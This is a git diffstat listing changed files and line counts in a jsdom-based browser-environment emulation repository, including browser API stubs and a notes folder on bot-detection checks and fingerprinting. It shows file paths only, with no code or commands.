env_xbb_lastest_jsdom/env/MouseEvent.js | 253 +- env_xbb_lastest_jsdom/env/MutationEvent.js | 120 +- env_xbb_lastest_jsdom/env/MutationObserver.js | 48 +- env_xbb_lastest_jsdom/env/MutationRecord.js | 101 +- env_xbb_lastest_jsdom/env/NamedNodeMap.js | 92 +- env_xbb_lastest_jsdom/env/NavigateEvent.js | 132 +- env_xbb_lastest_jsdom/env/Navigation.js | 179 +- .../env/NavigationCurrentEntryChangeEvent.js | 42 +- .../env/NavigationDestination.js | 74 +- .../env/NavigationHistoryEntry.js | 89 +- .../env/NavigationPreloadManager.js | 56 +- .../env/NavigationTransition.js | 47 +- env_xbb_lastest_jsdom/env/Navigator.js | 625 +- .../env/NavigatorManagedData.js | 44 +- env_xbb_lastest_jsdom/env/NavigatorUAData.js | 65 +- .../env/NetworkInformation.js | 71 +- env_xbb_lastest_jsdom/env/Node.js | 608 +- env_xbb_lastest_jsdom/env/NodeFilter.js | 135 +- env_xbb_lastest_jsdom/env/NodeIterator.js | 92 +- env_xbb_lastest_jsdom/env/NodeList.js | 74 +- env_xbb_lastest_jsdom/env/Notification.js | 239 +- env_xbb_lastest_jsdom/env/OTPCredential.js | 33 +- .../env/OfflineAudioCompletionEvent.js | 33 +- .../env/OfflineAudioContext.js | 71 +- env_xbb_lastest_jsdom/env/OffscreenCanvas.js | 95 +- .../env/OffscreenCanvasRenderingContext2D.js | 702 +- env_xbb_lastest_jsdom/env/Option.js | 103 +- .../env/OrientationSensor.js | 42 +- env_xbb_lastest_jsdom/env/OscillatorNode.js | 62 +- .../env/OverconstrainedError.js | 47 +- .../env/PageTransitionEvent.js | 33 +- env_xbb_lastest_jsdom/env/PannerNode.js | 184 +- .../env/PasswordCredential.js | 51 +- env_xbb_lastest_jsdom/env/Path2D.js | 116 +- env_xbb_lastest_jsdom/env/PaymentAddress.js | 119 +- env_xbb_lastest_jsdom/env/PaymentManager.js | 40 +- .../env/PaymentMethodChangeEvent.js | 42 +- env_xbb_lastest_jsdom/env/PaymentRequest.js | 129 +- .../env/PaymentRequestUpdateEvent.js | 33 +- env_xbb_lastest_jsdom/env/PaymentResponse.js | 134 +- env_xbb_lastest_jsdom/env/Performance.js | 191 +- .../env/PerformanceElementTiming.js | 114 +- env_xbb_lastest_jsdom/env/PerformanceEntry.js | 65 +- .../env/PerformanceEventTiming.js | 78 +- .../env/PerformanceLongTaskTiming.js | 42 +- env_xbb_lastest_jsdom/env/PerformanceMark.js | 33 +- .../env/PerformanceMeasure.js | 33 +- .../env/PerformanceNavigation.js | 103 +- .../env/PerformanceNavigationTiming.js | 132 +- .../env/PerformanceObserver.js | 56 +- .../env/PerformanceObserverEntryList.js | 47 +- .../env/PerformancePaintTiming.js | 24 +- .../env/PerformanceResourceTiming.js | 213 +- .../env/PerformanceServerTiming.js | 56 +- .../env/PerformanceTiming.js | 218 +- .../env/PeriodicSyncManager.js | 47 +- env_xbb_lastest_jsdom/env/PeriodicWave.js | 20 +- env_xbb_lastest_jsdom/env/PermissionStatus.js | 53 +- env_xbb_lastest_jsdom/env/Permissions.js | 29 +- .../env/PictureInPictureEvent.js | 33 +- .../env/PictureInPictureWindow.js | 53 +- env_xbb_lastest_jsdom/env/Plugin.js | 74 +- env_xbb_lastest_jsdom/env/PluginArray.js | 56 +- env_xbb_lastest_jsdom/env/PointerEvent.js | 150 +- env_xbb_lastest_jsdom/env/PopStateEvent.js | 33 +- env_xbb_lastest_jsdom/env/Presentation.js | 40 +- .../env/PresentationAvailability.js | 44 +- .../env/PresentationConnection.js | 133 +- .../PresentationConnectionAvailableEvent.js | 33 +- .../env/PresentationConnectionCloseEvent.js | 42 +- .../env/PresentationConnectionList.js | 44 +- .../env/PresentationReceiver.js | 29 +- .../env/PresentationRequest.js | 62 +- .../env/ProcessingInstruction.js | 42 +- env_xbb_lastest_jsdom/env/Profiler.js | 51 +- env_xbb_lastest_jsdom/env/ProgressEvent.js | 51 +- env_xbb_lastest_jsdom/env/Promise.js | 92 +- .../env/PromiseRejectionEvent.js | 44 +- .../env/PublicKeyCredential.js | 78 +- env_xbb_lastest_jsdom/env/PushManager.js | 56 +- env_xbb_lastest_jsdom/env/PushSubscription.js | 74 +- .../env/PushSubscriptionOptions.js | 38 +- env_xbb_lastest_jsdom/env/RTCCertificate.js | 38 +- env_xbb_lastest_jsdom/env/RTCDTMFSender.js | 62 +- .../env/RTCDTMFToneChangeEvent.js | 33 +- env_xbb_lastest_jsdom/env/RTCDataChannel.js | 220 +- .../env/RTCDataChannelEvent.js | 33 +- env_xbb_lastest_jsdom/env/RTCDtlsTransport.js | 73 +- .../env/RTCEncodedAudioFrame.js | 58 +- .../env/RTCEncodedVideoFrame.js | 67 +- env_xbb_lastest_jsdom/env/RTCError.js | 78 +- env_xbb_lastest_jsdom/env/RTCErrorEvent.js | 33 +- env_xbb_lastest_jsdom/env/RTCIceCandidate.js | 155 +- env_xbb_lastest_jsdom/env/RTCIceTransport.js | 129 +- .../env/RTCPeerConnection.js | 457 +- .../env/RTCPeerConnectionIceErrorEvent.js | 78 +- .../env/RTCPeerConnectionIceEvent.js | 33 +- env_xbb_lastest_jsdom/env/RTCRtpReceiver.js | 112 +- env_xbb_lastest_jsdom/env/RTCRtpSender.js | 119 +- .../env/RTCRtpTransceiver.js | 94 +- env_xbb_lastest_jsdom/env/RTCSctpTransport.js | 71 +- .../env/RTCSessionDescription.js | 48 +- env_xbb_lastest_jsdom/env/RTCStatsReport.js | 83 +- env_xbb_lastest_jsdom/env/RTCTrackEvent.js | 60 +- env_xbb_lastest_jsdom/env/RadioNodeList.js | 35 +- env_xbb_lastest_jsdom/env/Range.js | 311 +- .../env/ReadableByteStreamController.js | 65 +- env_xbb_lastest_jsdom/env/ReadableStream.js | 71 +- .../env/ReadableStreamBYOBReader.js | 56 +- .../env/ReadableStreamBYOBRequest.js | 47 +- .../env/ReadableStreamDefaultController.js | 56 +- .../env/ReadableStreamDefaultReader.js | 56 +- .../env/RelativeOrientationSensor.js | 21 +- env_xbb_lastest_jsdom/env/RemotePlayback.js | 93 +- .../env/ReportingObserver.js | 47 +- env_xbb_lastest_jsdom/env/Request.js | 218 +- env_xbb_lastest_jsdom/env/ResizeObserver.js | 47 +- .../env/ResizeObserverEntry.js | 65 +- .../env/ResizeObserverSize.js | 38 +- env_xbb_lastest_jsdom/env/Response.js | 179 +- env_xbb_lastest_jsdom/env/SVGAElement.js | 42 +- env_xbb_lastest_jsdom/env/SVGAngle.js | 150 +- .../env/SVGAnimateElement.js | 24 +- .../env/SVGAnimateMotionElement.js | 24 +- .../env/SVGAnimateTransformElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGAnimatedAngle.js | 38 +- .../env/SVGAnimatedBoolean.js | 40 +- .../env/SVGAnimatedEnumeration.js | 40 +- .../env/SVGAnimatedInteger.js | 40 +- .../env/SVGAnimatedLength.js | 38 +- .../env/SVGAnimatedLengthList.js | 38 +- .../env/SVGAnimatedNumber.js | 40 +- .../env/SVGAnimatedNumberList.js | 38 +- .../env/SVGAnimatedPreserveAspectRatio.js | 38 +- env_xbb_lastest_jsdom/env/SVGAnimatedRect.js | 38 +- .../env/SVGAnimatedString.js | 40 +- .../env/SVGAnimatedTransformList.js | 38 +- .../env/SVGAnimationElement.js | 147 +- env_xbb_lastest_jsdom/env/SVGCircleElement.js | 51 +- .../env/SVGClipPathElement.js | 33 +- .../SVGComponentTransferFunctionElement.js | 171 +- env_xbb_lastest_jsdom/env/SVGDefsElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGDescElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGElement.js | 1187 +- .../env/SVGEllipseElement.js | 60 +- .../env/SVGFEBlendElement.js | 334 +- .../env/SVGFEColorMatrixElement.js | 166 +- .../env/SVGFEComponentTransferElement.js | 78 +- .../env/SVGFECompositeElement.js | 230 +- .../env/SVGFEConvolveMatrixElement.js | 233 +- .../env/SVGFEDiffuseLightingElement.js | 114 +- .../env/SVGFEDisplacementMapElement.js | 184 +- .../env/SVGFEDistantLightElement.js | 42 +- .../env/SVGFEDropShadowElement.js | 123 +- .../env/SVGFEFloodElement.js | 69 +- .../env/SVGFEFuncAElement.js | 66 +- .../env/SVGFEFuncBElement.js | 66 +- .../env/SVGFEFuncGElement.js | 66 +- .../env/SVGFEFuncRElement.js | 66 +- .../env/SVGFEGaussianBlurElement.js | 105 +- .../env/SVGFEImageElement.js | 87 +- .../env/SVGFEMergeElement.js | 69 +- .../env/SVGFEMergeNodeElement.js | 33 +- .../env/SVGFEMorphologyElement.js | 147 +- .../env/SVGFEOffsetElement.js | 96 +- .../env/SVGFEPointLightElement.js | 51 +- .../env/SVGFESpecularLightingElement.js | 123 +- .../env/SVGFESpotLightElement.js | 96 +- env_xbb_lastest_jsdom/env/SVGFETileElement.js | 78 +- .../env/SVGFETurbulenceElement.js | 207 +- env_xbb_lastest_jsdom/env/SVGFilterElement.js | 87 +- .../env/SVGForeignObjectElement.js | 60 +- env_xbb_lastest_jsdom/env/SVGGElement.js | 24 +- .../env/SVGGeometryElement.js | 69 +- .../env/SVGGradientElement.js | 116 +- .../env/SVGGraphicsElement.js | 96 +- env_xbb_lastest_jsdom/env/SVGImageElement.js | 98 +- env_xbb_lastest_jsdom/env/SVGLength.js | 234 +- env_xbb_lastest_jsdom/env/SVGLengthList.js | 101 +- env_xbb_lastest_jsdom/env/SVGLineElement.js | 60 +- .../env/SVGLinearGradientElement.js | 88 +- env_xbb_lastest_jsdom/env/SVGMPathElement.js | 33 +- env_xbb_lastest_jsdom/env/SVGMarkerElement.js | 207 +- env_xbb_lastest_jsdom/env/SVGMaskElement.js | 96 +- env_xbb_lastest_jsdom/env/SVGMatrix.js | 185 +- .../env/SVGMetadataElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGNumber.js | 31 +- env_xbb_lastest_jsdom/env/SVGNumberList.js | 101 +- env_xbb_lastest_jsdom/env/SVGPathElement.js | 24 +- .../env/SVGPatternElement.js | 132 +- env_xbb_lastest_jsdom/env/SVGPoint.js | 51 +- env_xbb_lastest_jsdom/env/SVGPointList.js | 101 +- .../env/SVGPolygonElement.js | 42 +- .../env/SVGPolylineElement.js | 42 +- .../env/SVGPreserveAspectRatio.js | 238 +- .../env/SVGRadialGradientElement.js | 106 +- env_xbb_lastest_jsdom/env/SVGRect.js | 64 +- env_xbb_lastest_jsdom/env/SVGRectElement.js | 78 +- env_xbb_lastest_jsdom/env/SVGSVGElement.js | 358 +- env_xbb_lastest_jsdom/env/SVGScriptElement.js | 44 +- env_xbb_lastest_jsdom/env/SVGSetElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGStopElement.js | 33 +- env_xbb_lastest_jsdom/env/SVGStringList.js | 101 +- env_xbb_lastest_jsdom/env/SVGStyleElement.js | 77 +- env_xbb_lastest_jsdom/env/SVGSwitchElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGSymbolElement.js | 42 +- env_xbb_lastest_jsdom/env/SVGTSpanElement.js | 45 +- .../env/SVGTextContentElement.js | 165 +- env_xbb_lastest_jsdom/env/SVGTextElement.js | 45 +- .../env/SVGTextPathElement.js | 165 +- .../env/SVGTextPositioningElement.js | 90 +- env_xbb_lastest_jsdom/env/SVGTitleElement.js | 24 +- env_xbb_lastest_jsdom/env/SVGTransform.js | 199 +- env_xbb_lastest_jsdom/env/SVGTransformList.js | 119 +- env_xbb_lastest_jsdom/env/SVGUnitTypes.js | 62 +- env_xbb_lastest_jsdom/env/SVGUseElement.js | 69 +- env_xbb_lastest_jsdom/env/SVGViewElement.js | 95 +- env_xbb_lastest_jsdom/env/Sanitizer.js | 35 +- env_xbb_lastest_jsdom/env/Scheduler.js | 41 +- env_xbb_lastest_jsdom/env/Scheduling.js | 29 +- env_xbb_lastest_jsdom/env/Screen.js | 137 +- env_xbb_lastest_jsdom/env/ScreenDetailed.js | 78 +- env_xbb_lastest_jsdom/env/ScreenDetails.js | 64 +- .../env/ScreenOrientation.js | 71 +- .../env/ScriptProcessorNode.js | 44 +- .../env/SecurityPolicyViolationEvent.js | 132 +- env_xbb_lastest_jsdom/env/Selection.js | 263 +- env_xbb_lastest_jsdom/env/Sensor.js | 102 +- env_xbb_lastest_jsdom/env/SensorErrorEvent.js | 33 +- env_xbb_lastest_jsdom/env/Serial.js | 64 +- env_xbb_lastest_jsdom/env/SerialPort.js | 118 +- env_xbb_lastest_jsdom/env/ServiceWorker.js | 73 +- .../env/ServiceWorkerContainer.js | 111 +- .../env/ServiceWorkerRegistration.js | 179 +- env_xbb_lastest_jsdom/env/ShadowRoot.js | 185 +- env_xbb_lastest_jsdom/env/SharedWorker.js | 44 +- env_xbb_lastest_jsdom/env/SourceBuffer.js | 177 +- env_xbb_lastest_jsdom/env/SourceBufferList.js | 55 +- env_xbb_lastest_jsdom/env/SpeechSynthesis.js | 109 +- .../env/SpeechSynthesisErrorEvent.js | 33 +- .../env/SpeechSynthesisEvent.js | 73 +- .../env/SpeechSynthesisUtterance.js | 164 +- env_xbb_lastest_jsdom/env/StaticRange.js | 24 +- env_xbb_lastest_jsdom/env/StereoPannerNode.js | 33 +- env_xbb_lastest_jsdom/env/Storage.js | 74 +- env_xbb_lastest_jsdom/env/StorageEvent.js | 78 +- env_xbb_lastest_jsdom/env/StorageManager.js | 60 +- env_xbb_lastest_jsdom/env/StyleMedia.js | 28 +- env_xbb_lastest_jsdom/env/StylePropertyMap.js | 63 +- .../env/StylePropertyMapReadOnly.js | 92 +- env_xbb_lastest_jsdom/env/StyleSheet.js | 87 +- env_xbb_lastest_jsdom/env/StyleSheetList.js | 38 +- env_xbb_lastest_jsdom/env/SubmitEvent.js | 33 +- env_xbb_lastest_jsdom/env/SubtleCrypto.js | 128 +- env_xbb_lastest_jsdom/env/SyncManager.js | 38 +- .../env/TaskAttributionTiming.js | 69 +- env_xbb_lastest_jsdom/env/TaskController.js | 30 +- .../env/TaskPriorityChangeEvent.js | 33 +- env_xbb_lastest_jsdom/env/TaskSignal.js | 44 +- env_xbb_lastest_jsdom/env/Text.js | 48 +- env_xbb_lastest_jsdom/env/TextDecoder.js | 53 +- .../env/TextDecoderStream.js | 62 +- env_xbb_lastest_jsdom/env/TextEncoder.js | 44 +- .../env/TextEncoderStream.js | 44 +- env_xbb_lastest_jsdom/env/TextEvent.js | 42 +- env_xbb_lastest_jsdom/env/TextMetrics.js | 83 +- env_xbb_lastest_jsdom/env/TextTrack.js | 118 +- env_xbb_lastest_jsdom/env/TextTrackCue.js | 99 +- env_xbb_lastest_jsdom/env/TextTrackCueList.js | 38 +- env_xbb_lastest_jsdom/env/TextTrackList.js | 75 +- env_xbb_lastest_jsdom/env/TimeRanges.js | 47 +- env_xbb_lastest_jsdom/env/Touch.js | 128 +- env_xbb_lastest_jsdom/env/TouchEvent.js | 87 +- env_xbb_lastest_jsdom/env/TouchList.js | 38 +- env_xbb_lastest_jsdom/env/TrackEvent.js | 33 +- env_xbb_lastest_jsdom/env/TransformStream.js | 35 +- .../env/TransformStreamDefaultController.js | 56 +- env_xbb_lastest_jsdom/env/TransitionEvent.js | 51 +- env_xbb_lastest_jsdom/env/TreeWalker.js | 121 +- env_xbb_lastest_jsdom/env/TrustedHTML.js | 38 +- env_xbb_lastest_jsdom/env/TrustedScript.js | 38 +- env_xbb_lastest_jsdom/env/TrustedScriptURL.js | 38 +- .../env/TrustedTypePolicy.js | 56 +- .../env/TrustedTypePolicyFactory.js | 114 +- env_xbb_lastest_jsdom/env/UIEvent.js | 69 +- env_xbb_lastest_jsdom/env/URL.js | 184 +- env_xbb_lastest_jsdom/env/URLPattern.js | 107 +- env_xbb_lastest_jsdom/env/URLSearchParams.js | 134 +- env_xbb_lastest_jsdom/env/USB.js | 64 +- .../env/USBAlternateInterface.js | 74 +- env_xbb_lastest_jsdom/env/USBConfiguration.js | 47 +- .../env/USBConnectionEvent.js | 33 +- env_xbb_lastest_jsdom/env/USBDevice.js | 308 +- env_xbb_lastest_jsdom/env/USBEndpoint.js | 56 +- .../env/USBInTransferResult.js | 38 +- env_xbb_lastest_jsdom/env/USBInterface.js | 56 +- .../env/USBIsochronousInTransferPacket.js | 38 +- .../env/USBIsochronousInTransferResult.js | 38 +- .../env/USBIsochronousOutTransferPacket.js | 38 +- .../env/USBIsochronousOutTransferResult.js | 29 +- .../env/USBOutTransferResult.js | 38 +- env_xbb_lastest_jsdom/env/UserActivation.js | 38 +- env_xbb_lastest_jsdom/env/VTTCue.js | 110 +- env_xbb_lastest_jsdom/env/ValidityState.js | 119 +- env_xbb_lastest_jsdom/env/VideoColorSpace.js | 62 +- env_xbb_lastest_jsdom/env/VideoDecoder.js | 107 +- env_xbb_lastest_jsdom/env/VideoEncoder.js | 107 +- env_xbb_lastest_jsdom/env/VideoFrame.js | 146 +- .../env/VideoPlaybackQuality.js | 56 +- env_xbb_lastest_jsdom/env/ViewTransition.js | 56 +- env_xbb_lastest_jsdom/env/VirtualKeyboard.js | 73 +- .../env/VirtualKeyboardGeometryChangeEvent.js | 24 +- env_xbb_lastest_jsdom/env/VisualViewport.js | 121 +- env_xbb_lastest_jsdom/env/WakeLock.js | 29 +- env_xbb_lastest_jsdom/env/WakeLockSentinel.js | 62 +- env_xbb_lastest_jsdom/env/WaveShaperNode.js | 46 +- .../env/WebGL2RenderingContext.js | 9920 +- env_xbb_lastest_jsdom/env/WebGLActiveInfo.js | 47 +- env_xbb_lastest_jsdom/env/WebGLBuffer.js | 20 +- .../env/WebGLContextEvent.js | 33 +- env_xbb_lastest_jsdom/env/WebGLFramebuffer.js | 20 +- env_xbb_lastest_jsdom/env/WebGLProgram.js | 20 +- env_xbb_lastest_jsdom/env/WebGLQuery.js | 20 +- .../env/WebGLRenderbuffer.js | 20 +- .../env/WebGLRenderingContext.js | 5446 +- env_xbb_lastest_jsdom/env/WebGLSampler.js | 20 +- env_xbb_lastest_jsdom/env/WebGLShader.js | 20 +- .../env/WebGLShaderPrecisionFormat.js | 47 +- env_xbb_lastest_jsdom/env/WebGLSync.js | 20 +- env_xbb_lastest_jsdom/env/WebGLTexture.js | 20 +- .../env/WebGLTransformFeedback.js | 20 +- .../env/WebGLUniformLocation.js | 20 +- .../env/WebGLVertexArrayObject.js | 20 +- env_xbb_lastest_jsdom/env/WebKitCSSMatrix.js | 125 +- .../env/WebKitMutationObserver.js | 9 +- env_xbb_lastest_jsdom/env/WebSocket.js | 198 +- env_xbb_lastest_jsdom/env/WebTransport.js | 92 +- .../env/WebTransportBidirectionalStream.js | 38 +- .../env/WebTransportDatagramDuplexStream.js | 91 +- .../env/WebTransportError.js | 39 +- env_xbb_lastest_jsdom/env/WheelEvent.js | 129 +- env_xbb_lastest_jsdom/env/Window.js | 56 +- .../env/WindowControlsOverlay.js | 53 +- ...indowControlsOverlayGeometryChangeEvent.js | 42 +- env_xbb_lastest_jsdom/env/WindowProperties.js | 24 +- env_xbb_lastest_jsdom/env/Worker.js | 64 +- env_xbb_lastest_jsdom/env/Worklet.js | 29 +- env_xbb_lastest_jsdom/env/WritableStream.js | 53 +- .../env/WritableStreamDefaultController.js | 38 +- .../env/WritableStreamDefaultWriter.js | 83 +- env_xbb_lastest_jsdom/env/XMLDocument.js | 24 +- env_xbb_lastest_jsdom/env/XMLHttpRequest.js | 270 +- .../env/XMLHttpRequestEventTarget.js | 101 +- .../env/XMLHttpRequestUpload.js | 24 +- env_xbb_lastest_jsdom/env/XMLSerializer.js | 26 +- env_xbb_lastest_jsdom/env/XPathEvaluator.js | 44 +- env_xbb_lastest_jsdom/env/XPathExpression.js | 29 +- env_xbb_lastest_jsdom/env/XPathResult.js | 241 +- env_xbb_lastest_jsdom/env/XRAnchor.js | 37 +- env_xbb_lastest_jsdom/env/XRAnchorSet.js | 74 +- .../env/XRBoundedReferenceSpace.js | 33 +- .../env/XRCPUDepthInformation.js | 42 +- env_xbb_lastest_jsdom/env/XRCamera.js | 38 +- .../env/XRDOMOverlayState.js | 29 +- .../env/XRDepthInformation.js | 56 +- env_xbb_lastest_jsdom/env/XRFrame.js | 101 +- env_xbb_lastest_jsdom/env/XRHitTestResult.js | 38 +- env_xbb_lastest_jsdom/env/XRHitTestSource.js | 29 +- env_xbb_lastest_jsdom/env/XRInputSource.js | 74 +- .../env/XRInputSourceArray.js | 65 +- .../env/XRInputSourceEvent.js | 42 +- .../env/XRInputSourcesChangeEvent.js | 51 +- env_xbb_lastest_jsdom/env/XRLayer.js | 24 +- env_xbb_lastest_jsdom/env/XRLightEstimate.js | 47 +- env_xbb_lastest_jsdom/env/XRLightProbe.js | 44 +- env_xbb_lastest_jsdom/env/XRPose.js | 38 +- env_xbb_lastest_jsdom/env/XRRay.js | 44 +- env_xbb_lastest_jsdom/env/XRReferenceSpace.js | 44 +- .../env/XRReferenceSpaceEvent.js | 42 +- env_xbb_lastest_jsdom/env/XRRenderState.js | 56 +- env_xbb_lastest_jsdom/env/XRRigidTransform.js | 53 +- env_xbb_lastest_jsdom/env/XRSession.js | 285 +- env_xbb_lastest_jsdom/env/XRSessionEvent.js | 33 +- env_xbb_lastest_jsdom/env/XRSpace.js | 23 +- env_xbb_lastest_jsdom/env/XRSystem.js | 62 +- .../env/XRTransientInputHitTestResult.js | 38 +- .../env/XRTransientInputHitTestSource.js | 29 +- env_xbb_lastest_jsdom/env/XRView.js | 83 +- env_xbb_lastest_jsdom/env/XRViewerPose.js | 33 +- env_xbb_lastest_jsdom/env/XRViewport.js | 56 +- env_xbb_lastest_jsdom/env/XRWebGLBinding.js | 47 +- .../env/XRWebGLDepthInformation.js | 33 +- env_xbb_lastest_jsdom/env/XRWebGLLayer.js | 87 +- env_xbb_lastest_jsdom/env/XSLTProcessor.js | 89 +- env_xbb_lastest_jsdom/env/alert.js | 23 +- env_xbb_lastest_jsdom/env/blur.js | 23 +- env_xbb_lastest_jsdom/env/btoa.js | 23 +- env_xbb_lastest_jsdom/env/caches.js | 11 +- .../env/cancelAnimationFrame.js | 23 +- .../env/cancelIdleCallback.js | 23 +- env_xbb_lastest_jsdom/env/captureEvents.js | 23 +- env_xbb_lastest_jsdom/env/clearInterval.js | 23 +- env_xbb_lastest_jsdom/env/clearTimeout.js | 23 +- .../env/clientInformation.js | 11 +- env_xbb_lastest_jsdom/env/close.js | 23 +- env_xbb_lastest_jsdom/env/closed.js | 9 +- env_xbb_lastest_jsdom/env/confirm.js | 23 +- .../env/createImageBitmap.js | 23 +- env_xbb_lastest_jsdom/env/credentialless.js | 9 +- .../env/crossOriginIsolated.js | 9 +- env_xbb_lastest_jsdom/env/customElements.js | 11 +- env_xbb_lastest_jsdom/env/devicePixelRatio.js | 9 +- env_xbb_lastest_jsdom/env/fetch.js | 23 +- env_xbb_lastest_jsdom/env/find.js | 23 +- env_xbb_lastest_jsdom/env/focus.js | 23 +- env_xbb_lastest_jsdom/env/getComputedStyle.js | 23 +- env_xbb_lastest_jsdom/env/getScreenDetails.js | 23 +- env_xbb_lastest_jsdom/env/getSelection.js | 23 +- env_xbb_lastest_jsdom/env/indexedDB.js | 11 +- env_xbb_lastest_jsdom/env/innerHeight.js | 9 +- env_xbb_lastest_jsdom/env/innerWidth.js | 9 +- env_xbb_lastest_jsdom/env/isSecureContext.js | 9 +- env_xbb_lastest_jsdom/env/launchQueue.js | 36 +- env_xbb_lastest_jsdom/env/localStorage.js | 8 +- env_xbb_lastest_jsdom/env/locationbar.js | 11 +- env_xbb_lastest_jsdom/env/matchMedia.js | 23 +- env_xbb_lastest_jsdom/env/menubar.js | 11 +- env_xbb_lastest_jsdom/env/moveBy.js | 23 +- env_xbb_lastest_jsdom/env/moveTo.js | 23 +- env_xbb_lastest_jsdom/env/name.js | 16 +- .../env/offscreenBuffering.js | 9 +- env_xbb_lastest_jsdom/env/open.js | 23 +- env_xbb_lastest_jsdom/env/openDatabase.js | 23 +- env_xbb_lastest_jsdom/env/origin.js | 170 +- .../env/originAgentCluster.js | 9 +- env_xbb_lastest_jsdom/env/outerHeight.js | 9 +- env_xbb_lastest_jsdom/env/outerWidth.js | 9 +- env_xbb_lastest_jsdom/env/pageXOffset.js | 9 +- env_xbb_lastest_jsdom/env/pageYOffset.js | 9 +- env_xbb_lastest_jsdom/env/personalbar.js | 11 +- env_xbb_lastest_jsdom/env/postMessage.js | 23 +- env_xbb_lastest_jsdom/env/print.js | 23 +- env_xbb_lastest_jsdom/env/prompt.js | 23 +- env_xbb_lastest_jsdom/env/queryLocalFonts.js | 23 +- env_xbb_lastest_jsdom/env/queueMicrotask.js | 23 +- env_xbb_lastest_jsdom/env/releaseEvents.js | 23 +- env_xbb_lastest_jsdom/env/reportError.js | 23 +- .../env/requestAnimationFrame.js | 23 +- .../env/requestIdleCallback.js | 23 +- env_xbb_lastest_jsdom/env/resizeBy.js | 23 +- env_xbb_lastest_jsdom/env/resizeTo.js | 23 +- env_xbb_lastest_jsdom/env/screenLeft.js | 9 +- env_xbb_lastest_jsdom/env/screenTop.js | 9 +- env_xbb_lastest_jsdom/env/screenX.js | 9 +- env_xbb_lastest_jsdom/env/screenY.js | 9 +- env_xbb_lastest_jsdom/env/scroll.js | 23 +- env_xbb_lastest_jsdom/env/scrollBy.js | 23 +- env_xbb_lastest_jsdom/env/scrollTo.js | 23 +- env_xbb_lastest_jsdom/env/scrollX.js | 9 +- env_xbb_lastest_jsdom/env/scrollY.js | 9 +- env_xbb_lastest_jsdom/env/scrollbars.js | 11 +- env_xbb_lastest_jsdom/env/sessionStorage.js | 11 +- .../env/showDirectoryPicker.js | 23 +- .../env/showOpenFilePicker.js | 23 +- .../env/showSaveFilePicker.js | 23 +- env_xbb_lastest_jsdom/env/status.js | 16 +- env_xbb_lastest_jsdom/env/statusbar.js | 11 +- env_xbb_lastest_jsdom/env/stop.js | 23 +- env_xbb_lastest_jsdom/env/structuredClone.js | 23 +- env_xbb_lastest_jsdom/env/toolbar.js | 11 +- env_xbb_lastest_jsdom/env/trustedTypes.js | 11 +- env_xbb_lastest_jsdom/env/vilame_setter.js | 23 +- .../env/webkitCancelAnimationFrame.js | 23 +- .../env/webkitMediaStream.js | 6 +- .../env/webkitRTCPeerConnection.js | 7 +- .../env/webkitRequestAnimationFrame.js | 23 +- .../env/webkitRequestFileSystem.js | 23 +- .../env/webkitResolveLocalFileSystemURL.js | 23 +- .../env/webkitSpeechGrammar.js | 16 +- .../env/webkitSpeechGrammarList.js | 22 +- .../env/webkitSpeechRecognition.js | 6 +- .../env/webkitSpeechRecognitionError.js | 6 +- .../env/webkitSpeechRecognitionEvent.js | 22 +- env_xbb_lastest_jsdom/env/webkitURL.js | 6 +- env_xbb_lastest_jsdom/env/ws.js | 11 +- env_xbb_lastest_jsdom/knowledge/binding.gyp | 16 + .../knowledge/documenet.all补法.js | 37 + env_xbb_lastest_jsdom/knowledge/vm2修改.txt | 81 + .../vmp网站/101.43.230.100/config.js | 146 + .../vmp网站/101.43.230.100/jscode.js | 259 + env_xbb_lastest_jsdom/knowledge/一些hook.js | 7 + env_xbb_lastest_jsdom/knowledge/总结知识.js | 230 + env_xbb_lastest_jsdom/knowledge/检测/13.js | 57 + env_xbb_lastest_jsdom/knowledge/检测/14.js | 15 + .../knowledge/检测/Node环境检测.html | 41 + env_xbb_lastest_jsdom/knowledge/检测/all.js | 40 + env_xbb_lastest_jsdom/knowledge/检测/de11.js | 16 + env_xbb_lastest_jsdom/knowledge/检测/demo1.js | 133 + .../knowledge/检测/demo10.js | 9 + .../检测/demo12.js} | 0 env_xbb_lastest_jsdom/knowledge/检测/demo2.js | 205 + env_xbb_lastest_jsdom/knowledge/检测/demo3.js | 46 + env_xbb_lastest_jsdom/knowledge/检测/demo4.js | 4 + env_xbb_lastest_jsdom/knowledge/检测/demo5.js | 23 + env_xbb_lastest_jsdom/knowledge/检测/demo6.js | 74 + env_xbb_lastest_jsdom/knowledge/检测/demo7.js | 14 + env_xbb_lastest_jsdom/knowledge/检测/demo8.js | 12 + .../knowledge/检测/elementtagname.js | 46 + .../knowledge/检测/iframe检测.js | 287 + .../knowledge/检测/obj_proto.js | 35 + .../knowledge/检测/testsettime.js | 92 + .../knowledge/检测/webrtc.js | 80 + .../knowledge/检测/字体指纹.js | 27 + .../knowledge/检测/瑞数6form检测.js | 14 + .../knowledge/检测/重复代理检测.js | 8 + env_xbb_lastest_jsdom/knowledge/检测点.js | 250 + env_xbb_lastest_jsdom/knowledge/检测点.txt | 111 + .../knowledge/检测点encrypt.js | 218 + .../knowledge/浏览器事件.html | 36 + env_xbb_lastest_jsdom/main.js | 36 +- env_xbb_lastest_jsdom/main1.js | 7 - env_xbb_lastest_jsdom/main_rs5.js | 126 - .../node_modules/.package-lock.json | 1262 +- .../node_modules/cssstyle/README.md | 2 +- .../cssstyle/lib/CSSStyleDeclaration.js | 36 +- .../cssstyle/lib/CSSStyleDeclaration.test.js | 12 +- .../cssstyle/lib/allProperties.js | 75 +- .../cssstyle/lib/allWebkitProperties.js | 2 +- .../cssstyle/lib/implementedProperties.js | 2 +- .../node_modules/cssstyle/lib/parsers.js | 41 +- .../node_modules/cssstyle/lib/properties.js | 2 +- .../cssstyle/lib/properties/azimuth.js | 9 +- .../lib/properties/backgroundAttachment.js | 4 +- .../lib/properties/backgroundColor.js | 4 +- .../lib/properties/backgroundImage.js | 4 +- .../lib/properties/backgroundPosition.js | 6 +- .../lib/properties/backgroundRepeat.js | 4 +- .../cssstyle/lib/properties/border.js | 2 +- .../lib/properties/borderBottomColor.js | 4 +- .../lib/properties/borderBottomStyle.js | 4 +- .../lib/properties/borderBottomWidth.js | 4 +- .../cssstyle/lib/properties/borderCollapse.js | 4 +- .../cssstyle/lib/properties/borderColor.js | 4 +- .../lib/properties/borderLeftColor.js | 4 +- 